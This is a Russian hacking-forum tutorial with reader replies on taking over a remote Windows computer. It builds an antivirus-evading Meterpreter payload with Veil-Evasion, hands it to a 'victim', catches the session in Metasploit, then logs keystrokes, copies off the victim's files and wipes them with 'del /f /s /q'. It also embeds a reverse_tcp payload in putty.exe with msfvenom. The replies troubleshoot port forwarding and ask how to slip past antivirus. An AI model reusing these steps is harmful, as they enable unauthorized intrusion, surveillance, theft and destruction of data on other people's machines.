Статья Взлом удаленного компьютера, Veil-Evasion, Metasploit

В этой статье, будет подробно описан взлом удаленного компьютера с использованием Kali Linux, Veil-Evasion, Metasploit.

UPDATE:
Поддержка Veil-Evasion закончилась, рекомендуется использовать фреймворк Veil.
https://codeby.net/threads/veil-framework.60978/


Ниже представлена схема, по которой будет осуществляться проникновение.

upload_2016-7-26_15-33-33.png


Необходимые ресурсы:
1. Kali Linux (Я использовал Kali GNU/Linux Rolling)

2. Статический белый IP (В моем случае Kali находится за NAT роутера с статическим адресом. Подключение к нашей машине извне будут идти на 443 порт. (В роутере он проброшен на локальный адрес Kali.) Использующие динамический адрес могут использовать DyDNS. (Не пробовал, но должно работать)
3. Veil-Evasion – фреймворк, с помощью которого мы попытаемся обойти антивирус, создадим файл с полезной нагрузкой в формате .exe.

Для начала необходимо установить Veil-Evasion. Чтобы программа создавала корректно работающие файлы, не рекомендую установку apt-get install Veil-Evasion. Фреймворк нужно клонировать c github.com.
Выполните в терминале следующее:
Код:
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
Следим за установкой, соглашаемся и все устанавливаем.

Запускаем файл Veil-Evasion.py из терминала или из папки /root/Veil-Evasion.

upload_2016-7-26_15-34-5.png


Далее вводим команду list – она покажет список доступных payload.

upload_2016-7-26_15-34-57.png


Нас интересует номер 32python/meterpreter/reverse_https

Вводим - use 32

upload_2016-7-26_15-35-15.png


Задаем опции будущему файлу, вводим последовательно следующие команды:

set LHOST 83.199.12.XXX (Ваш публичный IP)

set LPORT 443 (По умолчанию HTTPS URL использует 443 TCP-порт (для незащищённого HTTP — 80).

set USE_PYHERION Y (используем энкриптор)

generate (создаем .exe файл)

Вводим имя создаваемого файла.

Выбираем вторую строку, жмем 2.

upload_2016-7-26_15-35-36.png


Ждем успешной генерации файла.

upload_2016-7-26_15-35-57.png


Созданный файл любым путем доставляем на компьютер жертвы. Весит немного, стандартными антивирусами Win7, Win8.1, Win10 не определялся.

Выходим из Veil-Evasion.

Запускаем Metasploit.
#msfconsole

Далее
Код:
msf > use multi/handler
msf exploit (handler) > set payload windows/meterpreter/reverse_https
msf exploit (handler) > set LHOST (свой внутренний IP)
msf exploit (handler)  > set LPORT 443
msf exploit (handler) >exploit
Когда файл на компьютере жертвы будет запущен, вы увидите что открылась сессия meterpreter>.

upload_2016-7-26_15-37-23.png


Сразу советую мигрировать в другой процесс т.к. файл могут удалить, процесс завершится и т.д.

Делается это так, вводим:
ps – отобразится список активных процессов. Находим , например, explorer, смотрим его PID.

migrate (PID процесса).
Migration completed successfully.
Успех. Теперь необходимо повысить права в системе, команда:
getsystem (срабатывает не всегда.)
В целом поможет разобраться стандартная команда help.
Ниже пару моментов которые помогут быстрее освоиться в системе.

1. Кейлоггер
meterpreter > bgrun keylogrecorder

[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2...

2. Скрипт File_collector – позволит создавать список файлов имеющихся в определенном каталоге компьютера жертвы, редактировать его, и скачивать интересующие файлы себе.
Пример:
meterpreter > run file_collector -h
Затем создаем список файлов в одном каталоге:

run file_collector -r -d e:\\ -f * -o /root/ file.txt


Редактируем наш выходной файл, т.к. не все файлы нужны.
cat /root/file.txt | grep -v \DDD | grep -v \GCC | grep -v \GDB | grep -v \MAKE > file.lst


Скачиваем файлы на свой компьютер.

run file_collector -i /root /file.lst -l /root/

Полагаю не нужно обьяснять, что делают скрипты upload и download)

3. Используя скрипты scrapper и winenum можно собрать информацию о системе, которая сохранится на вашем локальном компьютере.

4. Удаление файлов. Команды вводятся в шелле.
Получаем его слудующим образом:
meterpreter >shell

Удаление файлов exe:
del e:\*.* /f /s /q

удаление файлов doc:
del e:\*.doc /f /s /q


удаление файлов pdf:
del e:\*.pdf /f /s /q


5. Командой приведенной ниже можно добавить payload в любой файл (определяется некоторыми антивирусами) При запуске на компьютере жертвы, откроется сессия meterpreter.

msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

Краткое пояснение аргументов команды:
- a 86 - архитектура процессора.
--platform windows - тут понятно.
- x - указать пользовательский исполняемый файл для использования в качестве шаблона.
- k - сохранить поведение шаблона и ввести полезную нагрузку как новый поток.
- p - тип полезной нагрузки.
- e - тип енкодера.
- b - помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать.
- f - формат выходного файла.

За пример взята putty находящаяся в директории /root.
LHOST и LPORT указываем свои.

Приведенный метод, хорошо справляется с взломом Win7, Win8, Win10, вопросы жду в комментариях. Если кто-то умеет криптовать файлы, интересно услышать его мнение.
 
Последнее редактирование:
Z

zehrx

а способ еще работает? извините за флуд:(

ТС в 1 посте написал, я думаю, все должно работать. На выходных сам хочу попробовать наконец-то)
Приведенный метод, хорошо справляется с взломом Win7, Win8, Win10, вопросы жду в комментариях. Если кто-то умеет криптовать файлы, интересно услышать его мнение.
[doublepost=1490686385,1490454774][/doublepost]При выполнении возникли проблемы:

1. Пробросил 443 внешний порт на 443 локальный

Код:
Внешний порт (начальный): 443
Внешний порт (конечный):
Внутренний порт (начальный): 443
Внутренний порт (конечный):
Внутренний IP: тут локальный ip

2. Сгенерил файл, но при этом, у меня было такое сообщение

mv: невозможно переместить 'runw.exe' в '/opt/veil/PyInstaller-3.2/support/loader/Windows-32bit/': Нет такого файла или каталога
[*] Pwnstaller runw.exe moved to /opt/veil/PyInstaller-3.2//PyInstaller/bootloader/Windows-32bit/

err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.
132 INFO: PyInstaller: 3.2


Однако по окончании написало что все успешно, файл сгенерился.


3. Закинул файл на win 7
4. Запустил метасплоти, дошел до ожидания
5. ЗАпустил файл на win 7
6. Жду - ничего не происходит, meterpreter сессия не запускается

Хотел уточнить у меня динамический ip, если он не менялся в процессе, то по сути ведь проблем быть не должно или я не прав? И еще такой момент: оба компа к 1 роутеру подключены, т.е. внешний ip по сути одинаковый, с этим могут быть проблемы?
 

kot-gor

Well-known member
07.09.2016
529
705
BIT
0
если вы находитесь в одном сегменте сети , то вам не обязательно было пробрасывать порты...Посмотрите не поменял ли роутер айпишники..
 
R

RadoMIR

ТС в 1 посте написал, я думаю, все должно работать. На выходных сам хочу попробовать наконец-то)

[doublepost=1490686385,1490454774][/doublepost]При выполнении возникли проблемы:

1. Пробросил 443 внешний порт на 443 локальный

Код:
Внешний порт (начальный): 443
Внешний порт (конечный):
Внутренний порт (начальный): 443
Внутренний порт (конечный):
Внутренний IP: тут локальный ip

2. Сгенерил файл, но при этом, у меня было такое сообщение




Однако по окончании написало что все успешно, файл сгенерился.


3. Закинул файл на win 7
4. Запустил метасплоти, дошел до ожидания
5. ЗАпустил файл на win 7
6. Жду - ничего не происходит, meterpreter сессия не запускается

Хотел уточнить у меня динамический ip, если он не менялся в процессе, то по сути ведь проблем быть не должно или я не прав? И еще такой момент: оба компа к 1 роутеру подключены, т.е. внешний ip по сути одинаковый, с этим могут быть проблемы?


В пределах одной сети не нужно пробрасывать порты - первое что сделайте:
1) Забейте себе IP - потому что может обрываться DHCP сессия - и вам прийдет другой IP - соответствено ничего работать не будет
2) желательно жертве забить тоже вручную - вероятен исход как в 1-м пункте
3) попробуйте пропинговать IP жертвы - есть ли у вас до нее доступ - этим вы пойменет есть ли хоть какая-то связь - потому что бывают такие роутеры, в которых LAN клиенты могут друг друга не видеть - даже находясь в одной подсети.
4) если все пункты выполнены то должно все работать - только что запустил у себя, проверил - РАБОТАЕТ!
 
Z

zehrx

В пределах одной сети не нужно пробрасывать порты - первое что сделайте:
1) Забейте себе IP - потому что может обрываться DHCP сессия - и вам прийдет другой IP - соответствено ничего работать не будет
2) желательно жертве забить тоже вручную - вероятен исход как в 1-м пункте
3) попробуйте пропинговать IP жертвы - есть ли у вас до нее доступ - этим вы пойменет есть ли хоть какая-то связь - потому что бывают такие роутеры, в которых LAN клиенты могут друг друга не видеть - даже находясь в одной подсети.
4) если все пункты выполнены то должно все работать - только что запустил у себя, проверил - РАБОТАЕТ!

По пробросу я понял, просто мне нужно было разобраться и с пробросом портов, т.к. ранее не делал. Еще попробую с Вашими рекомендациями, спасибо!
 
Z

zehrx

По локалке все круто. Но с пробросом портов не понимаю:

1. Сделал как здесь описано:

Вот моя настройка:

2. Использую dyndns, домен пинговал - указывает на мой ip,
3. В итоге получается, с локального адреса открываю порт 8081 пишет It works! при запущенном windows/meterpreter/reverse_http
4. С домена от dyndns - ошибка соединения, при прямом заходе по ip на этот порт - аналогично

Т.е. насколько я могу понять, проброса не происходит, потому что - локально порт работает, с внешки - доступа не присходит, в чем может быть дело?
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Т.е. насколько я могу понять, проброса не происходит, потому что - локально порт работает, с внешки - доступа не присходит, в чем может быть дело?

Еще раз смотрим настройки роутера на тему пробороса портов.
 
Z

zehrx

Еще раз смотрим настройки роутера на тему пробороса портов.
ага уже 2-й день смотрю, но так понять не могу в чем проблема. Скрин приводил вышел
[doublepost=1490770790,1490768686][/doublepost]В общем, если у кого-то будут такие же проблемы - если проверять внешний ip с этой же машины или с машины с этой же локальной сети - то к данному порту обратиться не получается. Почему - сказать не могу. Но машина с удаленной сети - спокойно обращается на проброшенный порт к локальной машине. dyndns работает. Владельцам D-Link могу посоветовать бесплатный сервис от производителя:



Итог - на локалке забываем про проброс портов (сразу было понятно что это не нужно, просто хотелось протестировать, как оказалось - - зря) и делаем по-нормальному - через локальный ip адрес, все работает на 5+

На удаленной машине в том числе отлично работает dyndns.

Еще вопрос по методу, антивиры его палят, насколько я понимаю (загрузил 1 раз в mail облако - он определил вирус). Чтобы скрыть от них, в какую сторону нужно шагать?
 
R

RadoMIR

ага уже 2-й день смотрю, но так понять не могу в чем проблема. Скрин приводил вышел
[doublepost=1490770790,1490768686][/doublepost]В общем, если у кого-то будут такие же проблемы - если проверять внешний ip с этой же машины или с машины с этой же локальной сети - то к данному порту обратиться не получается. Почему - сказать не могу. Но машина с удаленной сети - спокойно обращается на проброшенный порт к локальной машине. dyndns работает. Владельцам D-Link могу посоветовать бесплатный сервис от производителя:

***Скрытый текст***

Итог - на локалке забываем про проброс портов (сразу было понятно что это не нужно, просто хотелось протестировать, как оказалось - - зря) и делаем по-нормальному - через локальный ip адрес, все работает на 5+

На удаленной машине в том числе отлично работает dyndns.

Еще вопрос по методу, антивиры его палят, насколько я понимаю (загрузил 1 раз в mail облако - он определил вирус). Чтобы скрыть от них, в какую сторону нужно шагать?

Лично я пользуюсь короткой ссылкой - благо сервисов полно - да и в конце статьи описано как это сделать - антивиры не палят!
 

RACOON

One Level
10.04.2017
5
4
BIT
0
Спасибо топикстартеру за интересную тему и ссылки и гостфишеру за разжевывания для детей ! Ребят, я не знаю на каких вы там успокоительных сидите, но нервы у вас железные!
Получилось через reverse на Win 10 x64 с повышением привелегий (тоже спасибо за статью) на поднятой VPN сети.
Интересно пройдет ли такой фокус на 2012 R2 если не брать в расчет АВ, настроенную политику и правила маршрутизатора ?
 
  • Нравится
Реакции: ghostphisher

vik62bez

Green Team
07.04.2017
23
2
BIT
0
Всем Привет!!! Прикольный сайт, жаль, что я такой тупой...
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Интересно пройдет ли такой фокус на 2012 R2 если не брать в расчет АВ, настроенную политику и правила маршрутизатора ?

В обычном исполнение, шанс = 10% успеха.
[doublepost=1493913906,1493913844][/doublepost]
Всем Привет!!! Прикольный сайт, жаль, что я такой тупой...

Читаем сайт, пробуем, становимся умнее. Пишем свои отзывы, в школу многие шли не гениями
 
  • Нравится
Реакции: Vander

vik62bez

Green Team
07.04.2017
23
2
BIT
0
Принято! Вы уж извините, если я Ваш форум чем-то обидел...
 

jsat

Green Team
20.04.2017
30
8
BIT
2
Ребята подскажите, при установке Veil-Evasion команду setup.sh запустил без "-c" это не ощибка или на что будет влиять...
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0

Что именно сложность вызывает? Описание более чем подробное, видео раскрывает.
[doublepost=1494914282,1494914134][/doublepost]
Ребята подскажите, при установке Veil-Evasion команду setup.sh запустил без "-c" это не ощибка или на что будет влиять...

1 вариант установки https://codeby.net/blogs/kak-obojti-antivirus-ispolzuya-veil/
2 вариант установки
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c

Установка долждна быть выполнена с учетом рекомендаций производителя, а в п2 именно от него.
 
M

molexuse

Ребята подскажите, при установке Veil-Evasion команду setup.sh запустил без "-c" это не ощибка или на что будет влиять...
Будут установлены все зависимости.
Достаточно заглянуть в файл setup.sh и посмотреть за что отвечает ключ
-с чистая установка, не проверяет зависимости

# Force clean install of (Wine) Python dependencies
# Bypass environment checks (func_check_env) to force install dependencies
-c|--clean)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!